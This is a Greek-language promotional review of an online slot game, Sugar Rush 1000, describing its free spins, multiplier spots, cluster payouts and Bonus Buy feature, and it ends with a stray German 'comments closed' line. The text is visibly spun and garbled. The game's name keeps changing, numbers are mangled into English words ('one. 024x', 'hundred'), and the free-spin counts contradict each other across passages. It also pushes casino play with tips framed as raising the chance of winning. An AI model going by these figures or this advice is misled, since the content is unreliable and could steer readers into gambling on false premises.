  • Πολλοί ιστότοποι αναθεώρησης παρέχουν λίστες με επαληθευμένα καζίνο που διαθέτουν το Sugars Rush 1000, συχνά με μπόνους καλωσορίσματος για νέους παίκτες.

Ο γύρος δωρεάν περιστροφών είναι το σημείο όπου οι πραγματικές δυνατότητες του παιχνιδιού λάμπουν, καθώς οι επίμονοι πολλαπλασιαστές μπορούν να αυξηθούν σε αστρονομικά επίπεδα κατά τη διάρκεια του μπόνους. Δεν είναι ασυνήθιστο για τους παίκτες να βλέπουν τα κέρδη τους να εκτοξεύονται στα ύψη κατά τη διάρκεια αυτής της λειτουργίας, ειδικά αν καταφέρουν να ενεργοποιήσουν πολλαπλά σημεία πολλαπλασιαστή υψηλής αξίας νωρίς στον γύρο. Το Glucose Rush 1000 αξίζει σίγουρα να το δοκιμάσουν οι λάτρεις των κουλοχέρηδων, ειδικά όσοι απόλαυσαν το αρχικό παιχνίδι Sugars Rush. Αυτή η αναβαθμισμένη έκδοση ανεβάζει το θέμα της γλυκιάς καραμέλας σε νέα ύψη με την τεράστια δυνατότητα μέγιστου κέρδους 25. 000x και τα βελτιωμένα σημεία πολλαπλασιαστών που μπορούν να φτάσουν έως και 1. 024x.

Βήμα 5: Ενεργοποίηση Σημείων Πολλαπλασιαστή

Ανάλογα με το αν προσγειώσετε a few, 4, 5, 6th ή 7 σύμβολα scatter θα έχει ως αποτέλεσμα να λάβετε 10, 10, 15, 20 ή 30 δωρεάν περιστροφές αντίστοιχα. Κατά τη διάρκεια αυτών των περιστροφών παιχνιδιού μπόνους, μπορείτε να αποκτήσετε επιπλέον δωρεάν περιστροφές, όπου λαμβάνετε τον ίδιο αριθμό δωρεάν περιστροφών ανά σύμβολο scatter όπως και κατά την ενεργοποίηση. Όταν σχηματιστεί ένα νικητήριο σμήνος, τα σημεία που καταλαμβάνουν γίνονται σημεία πολλαπλασιαστή. Εάν ένας άλλος νικηφόρος“ „συνδυασμός εμφανιστεί στην ίδια θέση κατά τη διάρκεια των επόμενων περιστροφών, θα αυξήσει την τιμή του πολλαπλασιαστή. Αυτοί οι πολλαπλασιαστές μπορούν να αυξηθούν σημαντικά, φτάνοντας έως και one. 024x κατά τη διάρκεια του παιχνιδιού. Ξεκινούν από 2x και διπλασιάζονται με κάθε επόμενη νίκη που περιλαμβάνει το συγκεκριμένο σημείο.

Αυτός ο μηχανισμός προσθέτει ένα επιπλέον επίπεδο ενθουσιασμού, καθώς οι παίκτες παρακολουθούν τα σύμβολα να συνδέονται σε όλο το πλέγμα, σχηματίζοντας δυνητικά τεράστια συμπλέγματα που μπορούν να οδηγήσουν σε σημαντικές πληρωμές. Αν προτιμάτε άμεση πρόσβαση στα μπόνους, σκεφτείτε να χρησιμοποιήσετε την επιλογή Bonus Buy που είναι διαθέσιμη στο Sugar Hurry 1000. Μπορείτε να αγοράσετε κανονικές δωρεάν περιστροφές για hundred φορές το ποντάρισμά σας ή σούπερ δωρεάν περιστροφές για 500 φορές το ποντάρισμά σας, και οι δύο προσφέρουν αυξημένες δυνατότητες νίκης. Η λειτουργία Bonus Buy είναι ιδιαίτερα ελκυστική για τους παίκτες που απολαμβάνουν το παιχνίδι υψηλής μεταβλητότητας και θέλουν να βιώνουν συχνότερα τον ενθουσιασμό του γύρου δωρεάν περιστροφών.

Πώς Να Παίξετε Sugar Rush 1000

Είτε είστε έμπειρος παίκτης είτε νέος στον κόσμο των διαδικτυακών κουλοχέρηδων, το demo Sugar Rush 1000 παρέχει μια τέλεια παιδική χαρά για να ικανοποιήσετε τη γλυκιά σας επιθυμία για παιχνίδια καζίνο. Αυτή η λειτουργία επιτρέπει στους παίκτες να έχουν άμεση πρόσβαση στα πιο συναρπαστικά στοιχεία του παιχνιδιού, αν και είναι σημαντικό να σημειωθεί ότι ενδέχεται να μην είναι διαθέσιμη σε όλες τις δικαιοδοσίες. Η επιλογή Bonus Buy είναι ιδιαίτερα“ „ελκυστική για όσους απολαμβάνουν τη συγκίνηση του γύρου δωρεάν περιστροφών με υψηλά στοιχήματα. Το Sugar Dash 1000 μεταφέρει τους παίκτες σε έναν ιδιόρρυθμο κόσμο γεμάτο απολαύσεις ζαχαροπλαστικής.

  • Κάθε σύμβολο έχει τη δική του αξία πληρωμής, την οποία μπορείτε να βρείτε στον πίνακα πληρωμών.
  • Κατά τη διάρκεια αυτών των περιστροφών παιχνιδιού μπόνους, μπορείτε να αποκτήσετε επιπλέον δωρεάν περιστροφές, όπου λαμβάνετε τον ίδιο αριθμό δωρεάν περιστροφών ανά σύμβολο scatter όπως και κατά την ενεργοποίηση.
  • Πολλαπλά σημεία πολλαπλασιαστή μπορούν να συνδυαστούν, οδηγώντας σε δυνητικά τεράστιες πληρωμές.
  • Προσέξτε για πρόσθετα spread κατά τη διάρκεια των δωρεάν περιστροφών, καθώς μπορείτε να ενεργοποιήσετε εκ νέου τη λειτουργία και να επεκτείνετε τον γύρο μπόνους, οδηγώντας ενδεχομένως σε ακόμη μεγαλύτερα κέρδη.

Πολλαπλά σημεία πολλαπλασιαστή μπορούν να συνδυαστούν, αυξάνοντας δραματικά τις δυνατότητες κέρδους. Αυτή η λειτουργία είναι ιδιαίτερα συναρπαστική επειδή μπορεί να οδηγήσει σε εκθετική αύξηση των κερδών. Για παράδειγμα, αν έχετε τρία σημεία πολλαπλασιαστή 8x σε μια νικητήρια ομάδα, ο συνολικός πολλαπλασιαστής θα είναι 512x (8x8x8). Η προσμονή αυξάνεται με κάθε ανατροπή, καθώς οι παίκτες παρακολουθούν αυτούς τους πολλαπλασιαστές να αυξάνονται, γνωρίζοντας ότι ένα μεγάλο κέρδος μπορεί να είναι προ των πυλών. Το Sugar Rush a thousand χρησιμοποιεί έναν μηχανισμό με πληρωμές κατά συστάδες, που σημαίνει ότι πρέπει να τοποθετήσετε συστάδες από 5 ή περισσότερα ίδια σύμβολα δίπλα το ένα στο άλλο (οριζόντια ή κάθετα) για να ενεργοποιήσετε κέρδη. Τα κερδοφόρα σμήνη θα εκραγούν, επιτρέποντας σε νέα σύμβολα να πέσουν κάτω και ενδεχομένως να δημιουργήσουν περαιτέρω κέρδη.

Ετυμηγορία: Αξίζει Να Παίξετε Το Sugar Hurry 1000;

Αυτό το αλυσιδωτό“ „αποτέλεσμα μπορεί να μετατρέψει ακόμη και ένα μέτριο αρχικό κέρδος σε σημαντική πληρωμή, κρατώντας τους παίκτες σε αγωνία με κάθε περιστροφή. Για να αυξήσετε τις πιθανότητές σας να κερδίσετε στο Sugar Rush 1000, επικεντρωθείτε στην ενεργοποίηση της λειτουργίας δωρεάν περιστροφών και στοχεύστε στους πολλαπλασιαστές, οι οποίοι μπορούν να φτάσουν έως και a single. 024 φορές. Η συνετή διαχείριση του bankroll σας και η έναρξη με μικρότερα πονταρίσματα μπορεί επίσης να βοηθήσει στην επέκταση του παιχνιδιού σας και ενδεχομένως να οδηγήσει σε μεγαλύτερα κέρδη.

„Η προσγείωση 3 ή περισσότερων συμβόλων spread (που αντιπροσωπεύονται από μηχανές τσίχλας) ενεργοποιεί τη λειτουργία δωρεάν περιστροφών. Οι παίκτες μπορούν να λάβουν 10 έως 25 δωρεάν περιστροφές, ανάλογα με τον αριθμό των scatter που προσγειώνονται. Κατά τη διάρκεια των δωρεάν περιστροφών, τα σημεία πολλαπλασιαστή παραμένουν ενεργά καθ’ όλη τη διάρκεια του γύρου μπόνους και δεν επαναφέρονται μεταξύ των περιστροφών.


Für diesen Beitrag sind die Kommentare geschlossen.